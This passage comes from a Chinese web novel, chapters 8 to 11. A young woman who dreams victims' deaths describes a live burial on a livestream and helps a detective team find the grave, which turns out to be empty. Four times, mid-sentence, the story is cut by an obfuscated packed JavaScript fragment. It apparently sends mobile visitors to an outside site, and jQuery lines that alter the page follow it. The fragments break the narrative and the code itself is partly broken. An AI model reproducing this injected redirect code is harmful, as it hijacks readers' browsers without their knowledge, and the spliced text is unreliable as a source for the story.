江林夕也举杯回应所有人:“谢谢李警官,谢谢大家,以后也要请你们多担待了。”
……
席间,大家聊着轻松的话题,顾晴叽叽喳喳的说着最近的趣闻,陈锐明不时地插科打诨,李安也活跃起来。秦朗大多时候在听,偶尔会给江林夕解释几句。
江林夕吃到那份红油赤酱地水煮肉片的时候,下筷速度明显快了许多,太好吃了吧!嫩滑的肉片和脆爽的配菜,麻辣鲜香,辣的她鼻尖直冒溪汗,却让她忍不住去夹第二筷,痛并快乐着,心里也越发期待桂花酒酿小丸子了。
桂花酒酿小丸子上桌的时候,她正被辣的轻轻吸气。秦朗见状,自然的用公勺盛了一碗,推到她的面前,语调温和:“这个解辣正好。”
江林夕道谢后赶忙舀了一勺,尝上一口今天这顿自己最期待的桂花酒酿小丸子,清甜的桂花香和温润的酒酿瞬间平息了舌尖的火辣。她满足的眯了眯眼,软糯Q弹的的糯米小丸子带着甜美的糖水在嘴里跳动,好吃!
秦朗瞧着她的反应若有所思,不知道为什
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536645|186587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
么,看她吃东西总觉得心情很好。
-----------------
这顿饭全程吃的轻松愉快,离开的时候,夜色已深。
顾晴就住在附近,聚会结束说要散步消食,直接就走了。李安和陈锐明都喝了酒,两人一起打车离开。秦朗因为开车没喝酒,他抬手看了眼手表,对江林夕说道:“走吧,我送你”
车子平稳地行驶在夜色中,车厢里一片安静,和车窗外流光溢彩的灯光形成两个世界。
江林夕靠坐在副驾驶上,微微侧头看向窗外。经过一晚的喧嚣,此刻的安静让她有种说不出来的恍惚感。
她其实挺害怕这种和别人单独相处的安静,一是怕尴尬,二是怕需要没话找话说,唉~谁懂社恐的痛苦。但很奇怪的是,和秦朗两人待在这样的环境里,却没有让她感觉到任何不适。
马路上的灯光光晕,一道接着一道的掠过,在她的脸上投下明明暗暗的光影,长长的睫毛在她的眼下投出两道弧形地阴影。她的身上有一股淡淡的,像是洗衣液留下的干净皂香味,在密闭的车厢若有若无的萦绕。
百无聊赖的江林夕用余光偷偷的打量起驾驶座正在开车的秦朗。
秦朗专注的看着前面路况,骨节分明的手搭在方向盘上,转动方向盘的动作流畅沉稳。他的侧脸在路灯的照射下轮廓分明,少了几分办案时的紧绷感。
两人都没说话。
车厢里播放着轻快的歌曲,细小的歌声在狭小的车里回荡。江林夕猛然发现,自己竟然在无意识的跟着旋律小声哼唱,这让她吓一跳,赶紧住嘴,脸颊因为尴尬微微泛红。
应该没听见吧。
她又悄悄瞅了眼秦朗,发现他没什么反应松了口气。
秦朗的嘴角微不可见的勾了起来,他当然听见了那小声的哼唱,也察觉到江林夕偷看,只是为了防止不让她尴尬才装做没有听到而已。
车子缓缓驶入她居住的小区,最终停在她家楼下。
“到了。”秦朗熄了火,转过脸看向她,嗓音低沉。
刚刚还有点打瞌睡地江林夕猛然惊醒,连忙坐直身体道谢:“啊,好的,谢谢秦队。”
她解开安全带,手指无意识的摩挲安全带粗糙的边缘,似乎还想说些什么,比如说“路上小心”或者“晚安”之类的话,话到嘴边,又觉得哪里怪怪的,好像显得太过亲近了点,最终只是轻声回复:“那我先上去了。”
“嗯。”秦朗看着她,目光在她微微泛红地耳廓停留一瞬,随即移开:“早点休息吧。”
江林夕推开车门,夜晚微凉的空气使她精神一振。她快步走向单元楼,直到感应灯亮起,她才想起什么,停下脚步,回头看了一眼。
那辆黑色的车还静静地停在原地,驾驶座的车窗降下一半,隐约能看到里面模糊的身影,好像正看着自己这边。
江林夕抬起右手,和车子的主驾驶的方向挥了挥。
直到她刷卡进门,引擎低鸣中,车子再度驶向夜色,副驾驶座上似乎还残留着那缕皂角的清香。
夜色温柔,有些东西,正在这不自知的静谧中,悄然的滋长。
8. 第二次助眠直播
距离枫叶山结案已经过去一周。
凌晨两点,江林夕猛地从床上坐了起来。她的心脏在胸腔里疯狂打鼓,喉咙里好像还残留着噩梦中被泥土堵塞的窒息感,那种每一次呼吸都带着土腥味,太糟糕了。
这次做的噩梦,比之前的任何一次都要更加真实更加完整,还有受害者的各种想法,那种深入骨髓的恐惧和绝望痛苦……都一股脑的塞到了她的脑海里。
江林夕瘫坐在床边,抬起止不住颤抖的双手,插进自己被汗水浸湿的头发里,一动不动,隐约可以听到她发出的含糊不清的哽咽。
真讨厌啊……
床头柜上,加密手机信息的提示音响起,江林夕停顿了一会,依旧颤抖的手拿过手机,解锁,屏幕上还停留在睡前查看的界面。那个名为“特别技术顾问工作群”的聊天界面,最后一条信息是秦朗在昨天晚上十一点左右发的,一条关于最近失踪人员内部通报链接。
信息本身是公事公办的,但后面跟了一句秦朗单独发给她的信息:“如果特别不舒服,尝试深呼吸,吸气,再缓缓吐出来。”
江林夕看到这条信息,好像看到落水时的浮木,闭上眼睛,深深的吸进一口气,再一点点的缓慢吐气。
一次又一次,吸气,吐气,吸气,吐气……
随着呼吸江林夕逐渐冷静下来,放下手机,起身走到电脑桌前。桌上还放着新买的心理学书籍和摊开的笔记本。她把这些都移到旁边,坐到电脑前,再次深吸一口气,打开了电脑。
她需要先试着梳理出有用的消息……
-----------------
几分钟后,夜梦直播间悄然开启,这一次观众人数比之前多了些,还能看到一些上次直播见过的熟悉面孔。
【吃瓜小鱼:咦?开播啦~主播好呀!】
【灵异爱好者桃可可:大赞!临睡觉前还能听恐怖故事!今天讲什么故事呀?】
江林夕调整了下呼吸,对着麦克风轻声开口,声音带着不易察觉的颤抖:“晚上好,今天我想要说的梦境,是一个关于被大地吞噬的噩梦。”
江林夕闭上眼睛,思绪渐渐沉入梦中。
“最初的开始,我感觉到一种颠簸,身体随着某种抖动摇晃着,这时候还可以听到引擎的轰鸣声,闻到令人作呕的汽油味道。”
“我的头很痛,感觉要裂开了一样。眼睛也被布蒙着,嘴巴被什么东西死死的粘住了,张不了口,发不出声,只能从喉咙里憋出“呜呜”的声音。”
“手脚,手脚也被绑住了,完全没有办法动弹。”
江林夕的表情带着疯狂的凶狠,语气逐渐激烈:“我在哪?在车里?绑架?勒索?还是嫉妒我的同行干的?!我不会放过他们的!”
【一只小透明:报告老师!这里有绑架案!】
【一只小透明关注了主播】
“突然,车子剧烈的颠簸,我觉得自己都要吐了。”
“我听到轮胎碾过碎石的声音,特别的清晰。”
“随后,颠簸停止了。我听到后备箱打开的声音,冷风猛地灌进来,吹得我鸡皮疙瘩直立,有人粗暴的把我从车里拽了出来。”
“他直接把丢在地上,就这么拖着走。粗糙的水泥石子磨得我生疼,我想喊出声制止他,可是嘴被堵住了,疼啊,真的疼啊,我可以自己走,能不能别拖了。”
“接着,我被这个人猛地一推,身体瞬间失重往后倒掉了下去。吓我一跳,还好不高,我的被砸在了潮湿松软的泥土上,应该是个小土坑,不过和刚刚的拖拽相比,这一摔倒也显不太疼了。”
江林夕的语气充满了疑惑不解,像是完全没有办法理解现在的情况:“我努力的想要透过布料看清外面的一切,四周黑蒙蒙的,只能隐约看到一个模糊的人影。”
“这个人到底想要做什么?”
【啥都知道一点:待开发区?我记得待开发区的路况一般都挺差的,开车像坐摇摇车,还都是碎石子。】
【吃瓜小鱼:又刷到你了,主包。楼上你咋啥都知道?】
【啥都知道一点:看我名字,谢谢】
【吃瓜小鱼、啥都知道一点关注了主播】
江林夕缓缓歪头,失神的和屏幕前的观众对视,像是在努力倾听什么一样:“然后我听到了一阵毛骨悚然的声音,是什么声音?”
“沙……沙……沙……”
“随着第一铲泥土落在我的脚上,我知道了,这是铁锹铲动泥土的声音!”
“我愣住了,大脑一片空白,几乎没有办法理解现在发生的事情?他在做什么?他想干什么?”
“第二铲、第三铲……泥土不断地落下,一点一点盖住我的身体,这种被泥土吞噬的感觉,瞬间让我明白了!”
“他要活埋我?!不!不可能!这太疯狂了!”
“恐惧瞬间淹没了我,我开始疯狂的挣扎,被绑住的手脚拼命地扭动,喉咙里还发出绝望的,被堵住的嘶吼!”
“为什么?!为什么?!为什么是我?!”
“你不是要钱吗?我都给你!多少都可以!放了我呀!求求你!放了我啊!放了我啊……!”
“但是没有用,泥土还是无情地往下落,一铲又一铲,压迫感越来越强烈,呼吸逐渐开始变得困难。眼前那个人无动于衷,站在那里,一言不发,只是机械又麻木地铲土、填土……”
“真的没有办法呼吸了……身体也动不了……好重啊……每一次呼吸都异常艰难……胸口好痛啊……”
“所以人临死前都是会出现幻觉吗?”
“我好像看到了三年前,那个固执的老头……他挡在推土机面前的样子……”
“好后悔……好后悔……好后悔……”
“不知道什么时候,蒙住我眼睛地布料掉落了,我透过泥土的缝隙隐约看到坑边地蓝色塑料布,好像就是工地上重用的那种……”
“随着耳边手表滴滴答答的声音……和那个人手中铁锹麾下的阴影……”
“我停止了最后的呼吸……”
说完,江林夕从回忆中猛然惊醒,额头上布满了细密的冷汗。她微微颤抖着手,端起水杯想要平复一下,才发现自己的手指甲缝边缘又被自己无意识地抠出了血珠,鲜红刺眼。
此时直播间的弹幕彻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536646|186587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
底炸开:
【胆小如米老鼠:我早就说我不来了,为什么又来了……呜呜呜呜呜,妈妈我怕!】
【灵异爱好者桃可可:活埋!真的是活埋呀!凶手和死者得是多大的仇恨啊!】
【啥都知道一点:临死前看到的那个老头是谁啊?还有蓝色塑料布?是工地防尘用的那种吗?】
【吃瓜小鱼:主包我晚上要睡不了觉了,都是你的锅!】
【一只小透明:人之将死,其言也善,死者最后一直在后悔,是不是干了什么对不起老头的事?】
密密麻麻各种弹幕快速的在屏幕上跳跃……
江林夕喝完杯里的最后一口水,温热的水让她缓和了一些,明显感觉自己紧绷的神经稍微放松了些。她专注地看着弹幕,将可能有用的信息一一记录下来。
这些零碎的线索,说不定能拼凑出什么。
坚持到直播结束,她关掉界面,靠在椅背上深深吸了口气。她才颤抖着双手拿起那部加密手机,冰凉地指尖解锁屏幕。她没选择打电话,而是点开了秦朗的聊天对话框,她担心自己现在的状态打电话说不清楚,会漏掉关键的线索。
江林夕根据刚刚直播和噩梦中的线索,开始一个字一个字地输入,尽力把那些支离破碎的线索组合起来,变成相对清晰的版本:
受害者:男性,衣着体面,佩戴手表,不缺钱?
作案手法:绑架,被关在车里进行运输,被凶手拖拽到土坑里,最终死亡原因:活埋。
受害地点线索:运输途中路面颠簸,疑似城郊待开发区的碎石土路。在被活埋点的附近,看到了蓝色的工地防尘塑料布。
幻觉:受害者在濒死时产生幻觉,提到三年前一个老人,并且非常的后悔。
凶手可能的特征:力气很大,疑似仇恨?
打下“活埋”两个字的时候,江林夕的手指停顿片刻,深吸一口气,将信息发送了出去。然后,她耗尽所有的力气回到床上,望向窗外的霓虹灯,神情麻木的想着,真糟糕,头又开始痛了。
好像每次昨晚噩梦她都这么难过,又无力有痛苦,不管是身体还是精神。
-----------------
几乎就在江林夕信息发出的同一时间,市局刑警队的办公室内,秦朗的手机在桌面上震动起来。
他刚结束一个刑事案件的结案讨论会议,正端着一杯浓茶站在窗前,准备缓解一下疲劳。但听到江林夕机密手机的专属提示音,他立刻放下茶杯,拿起手机,迅速划开。
屏幕上,来自江顾问的信息一条接着一条的跳出来。
秦朗目光快速扫过,原本还带着倦意的眼神瞬间清明。特别是看到“活埋”两个字的时候,他瞳孔微微收缩,眉头紧锁。
这种残忍而罕见的作案手法,意味着案件性质极其恶劣,并且凶手的仇恨值极高。
而且,秦朗叹了一口气,他光是看这些文字都觉得残忍痛苦,那么身临其境的江林夕呢。
夜色已深,窗外的城市依旧霓虹闪烁,而在市局刑警队和某个小区大楼里,某扇窗户后,多了道被灯光拉长,沉默不语的影子。
9. 消失的尸体
太阳刚擦边升起,在床上一晚上没合眼的江林夕,一动不动,紧盯着天花板上那只缓慢爬行的小虫子。
手机铃声划破了现在的寂静,江林夕瞬间像活过来一样,一个眨眼的功夫就拿起床头的手机,屏幕上赫然显示,秦朗。
她赶紧接通电话,一刻都不想耽误。
没等手机对面秦朗开口,江林夕就急切地追问道:“秦队,怎么样?”
“江顾问,”秦朗低沉的嗓音透过手机听筒传来:“根据你提供的城郊未开发区的碎石土路、施工工地以及教堂或者寺庙,我们找到了符合你条件的开发区,但是……”
“但是?”江林夕疑问重复。
秦朗顿了顿,继续说道:“南郊、西郊、北郊都有符合线索的地方,需要你过来一趟,确定细节。”
“我马上过来。”江林夕干脆利落的回答,没有一丝犹豫,并且迅速拿起床边椅子上杏色外套。
“我让李叔去接你了,算时间应该差不多到了。”接着秦朗犹豫了会,又补充道:“要是累的话,在车上眯一会。”
她沉默了几秒,才很低地应了一声:“好。”
江林夕拉开车门的时候,李安从后视镜看了她一眼毫无血色的脸,从主驾驶旁边的置物箱,拿了一瓶矿泉水递给她:“江顾问,昨晚没睡好吧,脸色这么差,喝点水吧。”
“谢谢李叔。”接过李安递过来的水,江林夕小口的喝了几口,心里暖洋洋的。
看出她的担忧,李安的声音带着点长辈的温和,半是玩笑半是安抚道:“别担心,有秦队在,天塌下来他都能拿竹竿支撑着。”
“嗯。”随着李安的话语,江林夕脑子里就自动上演了秦朗拿竹竿吭哧吭哧撑天的滑稽样子,只觉得刚刚那点担心情绪消失殆尽,她偏过头忍住笑:“这么说,秦队业务范围还挺广的吗,就是不知道补天收费是多少。”
“哈哈哈哈哈~”听到江林夕的回复,李安乐不可支,笑完后摸上方向盘,准备开车出发:“走,我们现在就去见见业务范围很广的秦队,问问他怎么收费。”
-----------------
两小时后的会议室,白板上贴满了城郊未开发区域的地图,上面用不同颜色的记号笔标注了已知的随时路段,正在施工的工地以及有钟的教堂、寺庙等地点。
秦朗站在桌前,目光扫过在场的所有人:“根据已知线索,碎石路、工地、宗教场所,我们需要找到同时满足或者接近这三个条件的地点。”
接着他有条不紊的安排:“李叔,你经验丰富,带一队人,重点排查一下这几个碎石密集的土路,且周边同时存在正在施工工地和教堂、寺庙,注意观察路边有没有新鲜的车轮印。”
李安:“收到,秦队。”
“小陈,你带另一队,协调当地派出所和街道,走访这些区域的工人、居民,询问在夜间是否听到过异常声音,看到可疑车辆或人员,以及对钟声是否有印象。”
陈锐明:“收到,秦队”
“顾晴,你负责支援,随时核对各组反馈的信息。”
顾晴:“收到,秦队。”
“江顾问。”秦朗最后看向江林夕:“你和我一起行动,需要你亲自确定地点。”
“收、收到,秦队?”江林夕看到其他人统一回答,有点不知所措,心想是不是必须统一,也紧张的回了句收到,秦队。
众人看到她的样子,笑出了声,顾晴扑哧一声,一只手揽住她:“别紧张。”
-----------------
首先排查的是北郊未开发区的工业园,那里有一条长长的碎石路,旁边是一个废弃的建材市场,远处还有一个小的土地庙。
李安带人仔细勘察了碎石路和土地庙,可惜,土地庙早就荒废了,钟也不见了。并且周边没有发现人为活动的痕迹,不符合条件。
接着走访了西郊未开发区的物流公司附近,大片地荒地,碎石路纵横交错,旁边有个有个施工单位,更远处有个挺大的教堂。
陈锐明走访回来汇报,教堂的钟是每周日早上礼拜时才会响,和晚上钟声明显不符。而且周围居民也表示没有看到或者听到什么异样。
接连两个重点区域被排除,秦朗看着地图,手指指向南郊的一个靠山脚的区域:“最后一个南郊,这里有一段老旧的盘山公路,还有个因为环保问题停工的采石场,慈安寺也在山顶,出发。”
“是!”所有人答道,迅速行动起来。
去往南郊的路上,车子越往山那边开,道路越崎岖不平,轮胎碾压碎石的“咯吱”声越来越响,颠簸的感觉也越发强烈,这种颠簸感让感觉江林夕越发的熟悉。
秦朗注意到她的样子:“怎么样?”
“感觉……很像。”江林夕细细感受,轻声回答。
车子在盘山路上行驶了一会,路过一个路边废弃的采石场,门口还摆放着残破的工棚,里面还有停止施工机械,可以看到在它们上面褪色的蓝色防尘布,正在风中飘荡。而与此同时,一声声微弱但是清晰的“铛……铛……铛……”声,传到他们所有人耳中。
“是钟声!”陈锐明立刻激动的喊道。
众人精神一振,停车,下车,仔细聆听。
“是山顶,那个废弃寺庙的方向!”李安认真思索了一会,判断道:“这钟声,不太规律,不像是人为敲得。”
“搜。”秦朗果断发令。
他们并没有直接开车上山顶的慈安寺,而是以采石场和寺庙为标点,同时搜索能够听到钟声的碎石土路附近。
搜索的过程并不顺利,山路崎岖,两侧的植被茂密,所有人深一脚浅一脚地排查了将近一个多小时,在这么冷的天,众人后背的衣服都被打湿了,却一无所获。
陈锐明抹了一把额头的汗,建议:“秦队,范围太大了,要不直接先去寺庙看看?”
秦朗听闻这话也知道不能再一直这样下去,他转头望向人群中间的江林夕,还在思索该怎么安排时,江林夕突然停止了脚步。
她闭上眼睛,努力屏蔽周围的嘈杂,努力回忆噩梦中的一切细节。不仅仅是当时的听觉和感觉,还有……
方向感!
在梦里,自己被拖拽时地面刚开始还比较平坦,然后才是各种尖锐的石子。而钟声传来的方向一直是在背后正
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536647|186587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后方。
江林夕睁开眼,看向采石场的一侧,那里有个小道,杂草丛生,正和自己想的一样,这段路一半杂草丛生,但相对平整,另一半砂砾石子,并且特别的尖锐。而寺庙就在这段路它的正后方。
“那边!我们能不能去那边草丛的后面看看?”江林夕抬手指向刚刚看的那条小道。
秦朗毫不犹豫的,就选择听从她的话:“转向。”
随着江林夕指的方向一路前进,走到一处的草丛,明显有近期被压塌的痕迹,顺着这段痕迹往前走个十几米,路过一段碎石路。
再往前走,走在最前面的陈锐明脚下一顿,惊呼:“秦队!有情况!”
众人迅速往陈锐明那边靠拢,只见前方有一片明显被清理过的空地上,泥土的颜色和周遭的颜色截然不同,显得格外新鲜湿润。一个长约两米、宽约一米的长方形大土坑出现在所有人的眼前。土坑两侧还留有着清晰的铲印,地上散落着零星的脚印和两道深深的拖拽痕迹。
坑底却空空如也!什么都没有!尸体不见了!
江林夕很确定随着这一路的深入,看到这个土坑,她很确定就是这个地方。
可是,为什么受害者的尸体消失了?
李安蹲下身子,戴上手套,仔细检查土坑和附近的痕迹:“坑是新挖的,周围有挣扎的痕迹,看这样子肯定有人被埋去过。”接着他像发现了什么一样,在坑里刨了刨拨开一些泥土:“这是?”
他小心的从泥土里拿出一块手表,鳄鱼皮的表带显示着这块手表的价格不菲,李安小心的把手表放到了证物袋里。
秦朗也蹲了下去,他的视线在拖拽痕迹上来回打量思索:“两道拖拽,一道有挣扎的痕迹,一道没有。”接着,他顿了顿,声音低沉:“受害者很有可能在这个地方被活埋,死后被凶手挖出来带走了。”
“凶手为什么要这么做?”陈锐明忍不住问:“费这么大劲把人埋了,现在又挖走?他到底图什么?”
秦朗站起身,没有回答陈锐明的问题,反而喃喃自语:“难办了。”
所有人的心情都沉了下去,他们找到了犯罪现场,却失去了最重要的一环:尸体。
这个案子也越发的不简单:绑架、活埋、挖出、转移。
秦朗走到江林夕身边,轻轻开口:“我们找到了犯罪现场,证明你的方向没错。”
江林夕苍白着脸,点了点头,心情复杂又迷茫,没忍住还是叹了口气。
接着秦朗看向所有人说道:“先回去吧,保存好现场证据。”
秦朗目光落在因为今天一路排查体力明显不支的,又没有睡好的江林夕脸上。没多说什么,只是从口袋里摸出一颗奶糖,递给了她。
江林夕一怔,顺着那只骨节分明的手抬头,撞上秦朗看向自己的目光。
“补充□□力。”秦朗视线快速的从她苍白的脸上移开。
江林夕低声道了声:“谢谢。”微凉的指尖不可避免地接触到他的掌心,一擦而过。
秦朗蜷起手指,那转瞬即逝的触感让他掌心发痒。
江林夕剥开糖纸,奶香味在舌尖化开。
真甜。
10. 拜师学艺
回程的路上,由于没找到尸体,大家都显得十分失落,车里氛围格外地沉闷。
李安握着方向盘,一边看了眼自己没心没肺睡大觉的徒弟,一边透过后视镜看到坐在后座沉默不语的江林夕、秦朗两人,知道现在想要打破这种氛围只能自己出马了。
他故意清了清嗓子,用一种调侃的语气打破车里的沉默:“江顾问,你知道秦队外号是什么吗?”
江林夕闻言先是摇了摇头,突然想起坐在驾驶座的李安估计看不见,然后疑惑回答:“不知道,万能神探吗?”
她的话音刚落,就听到坐在身边的秦朗闷哼一声,像是被呛到了一样,耳根在昏暗的车里也能看得出逐渐泛红,他从后视镜里警告似的瞪了李安一眼。
当然,这一切正在开车的李安并没有看见,而是咂咂舌继续说道:“万能神探这称号挺好的,不过不是。”随即他摇头晃脑的卖起了关子:“这个外号啊,可是大有来头……”
“咱局里以前有一起抢劫谋杀案,是二队办的,死了几个人,犯罪现场干净的像被水洗了一样,那地还没个监控,他们卷宗都要翻烂了,都没搞出个所以然来,就是摸不出凶手,都快成悬案了。嘿~结果你猜怎么着?”
李安像说相声一样的腔调把江林夕逗得直乐,还笑着捧场:“怎么着?”
“那会秦队刚来,卷宗就转到咱一队了,好家伙。他看了几眼就说凶手很有可能是在印染厂呆过,让人去城南颜料厂的家属院附近摸摸底。好家伙,一去一个准儿!真把人从窝里摁住了!自打那起,秦队就有个“秦半仙”的名号。”
听完李安的话,江林夕震惊转头望向秦朗,嘴巴微张不敢相信的说:“秦队,你还会算命啊。”
秦朗侧头回望,眼底带着一抹无奈的笑意:“哪有什么半仙算命。我都和他们说了多少次了。受害者都是穿红色裙子的女性下手,不是随机犯案,而是有指向性的选择受害者。强烈的情绪通常会和当事人经历捆绑,而凶手对于红色的执着很有可能来自于工作和生活长期被红色刺激,很显然印染厂是最大的可能,再排查作案和逃跑的范围,凶手在哪自然就出来了。”
接着他摇摇头,神色无奈的继续说道:“这不是玄学,就是心理学的行为逻辑。他们这帮人就是爱起哄,别当真。”
心理学!
江林夕眼神咻的一亮,接着她拖长了语气:“哦~所以秦队你是科学半仙呀,比普通算命厉害多了!”
她这话一出,驾驶座的李安率先没忍住,“扑哧”一声笑了出来:“科学半仙,精辟啊!秦队,听到没,不是我们说的啊,是群众给你定性了!”
秦朗微微一怔,显然没想到江林夕突然来这么一句,他再次转过头,视线对上她那双因为刚刚灵感一现而小小得意,显得几分生动的眼睛,竟然觉得有种被晃到的错觉,几乎是下意识地仓促移开视线。
江林夕察觉到秦朗细微的表情,忍不住得意的偷笑,没想到这位平常严肃专业的秦队长,竟然还会因为几句玩笑不好意思,真有趣。
-----------------
市局会议室里,那块从泥坑里发现的名贵鳄鱼皮手表,此刻正在证物袋里,安静地放在会议桌上。
秦朗率先打破沉静,严肃的说道:“现场的情况大家都清楚了。”接着他举起证物带示意:“我们通过江顾问的线索找到了活埋的第一现场,并且找到了关键线索,顾晴,你来说。”
顾晴拿着手上技术部门送来的报告,说道:“手表通过表身的序列号,我们联络到国内的一个独立制表坊“Expensive”,他们表示鳄鱼皮表带是他们的定制系列。该系列在本市登记在案的,不超过三位。”
接着她将手中的资料报告分发给众人,顿了顿继续说道:“根据表盘内测刻着缩写“CH”,锁定了陈浩。并且,我们从表带的缝隙提取到了微量的皮屑组织。和DNA做了比对,已经最终确定手表的主人就是陈浩。”
“陈浩,”秦朗在白板上写下陈浩的名字,并且在旁边标注“辉宏地产项目经理”,开口:“三天前,陈浩的妻子报案,他在1月22号早晨离家上班后,没就与家人失去了联系,至今下落不明。”
接着他在白板写上陈浩的名字上画了一个圈:“现在基本可以确定,在土坑里经历活埋的受害者就是他。我们目前首要任务除了寻找凶手,还有就是找到被害人的尸体。”
李安毕竟经验丰富,立刻根据上述提出了方向:“秦队,既然确定了受害者的身份,那我们就往陈浩社会关系方向调查。”
“没错。”秦朗认同的点头,继续安排:“小陈,你重点走访陈浩家人、朋友,了解他最近是否有异常,或者提到过有没有和什么人有过节。”
陈锐明:“收到,秦队。”
秦朗:“顾晴,你负责外围,把他经手的所有项目,特别是容易引发矛盾的类型,比如说涉及拆迁、土地征用等,这种过一遍筛子。”
顾晴:“收到,秦队。”
秦朗:“李叔,你联系一下陈浩的妻子,让她过来协助调查,待会你和我一起录口供。”
李安:“收到,秦队。”
安排完毕,秦朗把目光转向盯着他看的江林夕,语气缓和:“江顾问,辛苦了。你帮我们锁定了犯罪现场,挺累的,你先回去休息,保持电话畅通,有需要我们再联系。”
江林夕:“收……不对,秦队,我有个请求。”
闻言,秦朗安排的动作停了下来,他微侧过身,神情疑问看向江林夕,示意她继续。
江林夕站起身,一边心里疯狂打着鼓,一边走到秦朗面前,鼓起勇气开口:“秦队,我不想回去。张心蝶案的时候,我觉得我很没用,除了提供一些线索,什么都不知道。”
她深吸了一口气,目光诚恳看向
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16536648|186587||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
秦朗:“秦队,我知道这样很冒昧。我现在一直在学心理学,但总觉得很浅显。你是这方面的专家,又有丰富的经验。”她顿了顿继续开口:“所以我想请求你,如果条件允许的话,这类案件我能不能全程跟着你,学习你的分析和思路。”
江林夕手指不自觉地攥紧了拳头:“我想要真正的理解犯罪心理!也不想再因为能力不足或者心里承受不够,只能在旁边干着急,或者……被迫离开。”
她的声音不高,却清晰地回荡在会议室里。
听完她说的话,会议室瞬间安静,所有人都讶然的看向她。
秦朗目光深邃的落在江林夕的脸上,她苍白的脸上有着明显的疲惫,但是那双眼睛却闪烁着他从未见过的光芒。
他没有立刻回答,思索片刻问出最后的确定:“全程跟现场,压力会很大,你可以吗?”
“我可以!”江林夕立刻保证。
“学习心理学,过程中可能会接触更多的黑暗面,你可以吗?”
“我可以!”江林夕毫不退缩。
秦朗终于点头,提醒:“好,我可以带着你。但有几个条件:第一、一切行动听指挥,绝对不可以擅自行动。第二、理论知识也必须跟上,我会给你列一些书单和案例,你必须看完。第三、如果感觉实在无法承受的时候必须立刻报告,不要强撑。明白了吗?”
江林夕用力点头,语气欢悦:“我明白了!谢谢秦队!”
看着她难得流露出符合年纪的雀跃,秦朗眼底的严肃终于化开,嘴角勾起弧度:“加油,江林夕。”他的语气缓和,带着一丝不易察觉的温柔:“我相信你可以做到。”
随即他收回目光,神情重新变得冷静专注:“好了,散会,各自行动起来,找到凶手!”
“是!”所有人齐声回应。
人潮流动,顾晴立刻凑到江林夕的身边,用肩膀轻轻碰了她一下,眼睛笑的透亮:“可以啊,林夕。这么大胆,能让秦队点头可不容易,加油。”
“其实我紧张死了。”江林夕缩了缩脖子,悄悄和顾晴咬耳朵:“我从来没有在这么多人面前表达想法。”
旁边,陈锐明也咧着嘴凑过来,毫不掩饰自己的羡慕:“牛哇!以后你就能和秦队学本事了!真羡慕你,你可得把他肚子里的墨水全掏出来。”
江林夕看了看身边充满善意的众人,心里那点坎坷也烟消云散了,唇角再也抑制不住地向上扬起,露出了一个自从开始做噩梦以来,到现在为止最真实的一个笑容。
另一边,看着他们几人的背影,李安凑近秦朗,低声道:“这姑娘,挺要强啊。”
秦朗的目光在江林夕带着笑意的侧脸,停留片刻,随即收回。一边整理手中的资料,一边平静开口,语气里带着不易察觉地认可:“要强点,挺好的。”
收拾完东西的秦朗,目光锐利,重新开口:“走吧,李叔,该办案了。”
11. 什么是报应
审讯室的灯光调的很柔和。
陈浩的妻子周倩倩正坐在秦朗和李安对面的椅子上,她哭得双眼红肿,手里攥着一张被泪水打湿的纸巾,身体微微发抖。
江林夕把刚刚倒好的温水,放到周倩倩的面前,然后坐到秦朗他们那边稍后的地方,手里拿着一本的笔记本,默默观察起来。
“周女士,我们想要确定一下,您先生陈浩,最近一段时间,有没有什么异样?或者说有没有和什么人结仇?”秦朗开口问道。
周倩倩吸了吸鼻子,声音哽咽:“陈浩他,为人一直很好,从不会主动和人结怨。就是最近几个月压力比较大,晚上总是睡不好,做噩梦,有时候会絮絮叨叨的说报应,这类的胡话……”
李安语气温和的追问:“具体胡话都是说些什么呢?”
周倩倩擦擦眼泪,眼神闪烁:“也没说什么,就是工作上的一些麻烦,他也没多说……”
